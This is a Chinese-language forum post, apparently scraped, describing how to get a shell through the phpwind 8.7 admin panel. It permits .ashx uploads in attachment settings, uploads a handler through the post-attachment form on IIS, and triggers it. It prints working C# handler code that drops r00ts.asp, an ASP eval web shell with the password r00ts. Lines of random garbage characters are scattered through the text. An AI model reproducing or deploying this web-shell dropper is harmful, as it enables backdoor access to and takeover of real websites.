phpwind 8.7 后台拿shell

admin

首先点开后台地图 然后附件设置 添加一个ashx后缀 2000大小
* G: e2 |1 r2 m: |* o% K5 d
群里面我以前扔的那个ashx.txt 下载回来改成fuck.ashx
" O' |& R5 ]8 _; r
8 L4 V+ [! F/ P4 ]% {发表文章那边有个附件上传 把ashx扔上去 前提是iis 阿帕奇我还真不知道咋整
. y" u* E& s6 t2 O4 c
9 I) |4 f$ O: {. Q1 R7 D& U2 h然后再打开后台地图 附件优化 滑到下面就看到刚上传的ashx
  x( d) G3 m* ]! U
: n% O# V! t+ n1 ~! f9 C' N打开之后空白 会在目录底下生成r00ts.asp 密码r00ts
8 z* Q. z" F/ s' C4 o* r+ X
: N) R& ^% s( Z0 Q下面是代码:

<%@ WebHandler Language="C#"Class="Handler" %>
using System;
. ?% C) \" m( B* k' z- D+ @using System.Web;
using System.IO;
public class Handler : IHttpHandler {
public void ProcessRequest (HttpContext context) {
context.Response.ContentType = "text/plain";
1 k% ]; N  G7 N1 m7 BStreamWriter file1= File.CreateText(context.Server.MapPath("r00ts.asp"));
file1.Write("<%eval request(\"r00ts\")%>");
file1.Flush();
file1.Close();
1 D& Y" @, Q" g8 L" d}
0 \' {3 }/ e1 H( \) n7 c6 f: |public bool IsReusable {
get {
( i3 v, j& g6 w) }/ z) J) \return false;
$ m+ h, r7 q" `! ]}
}
}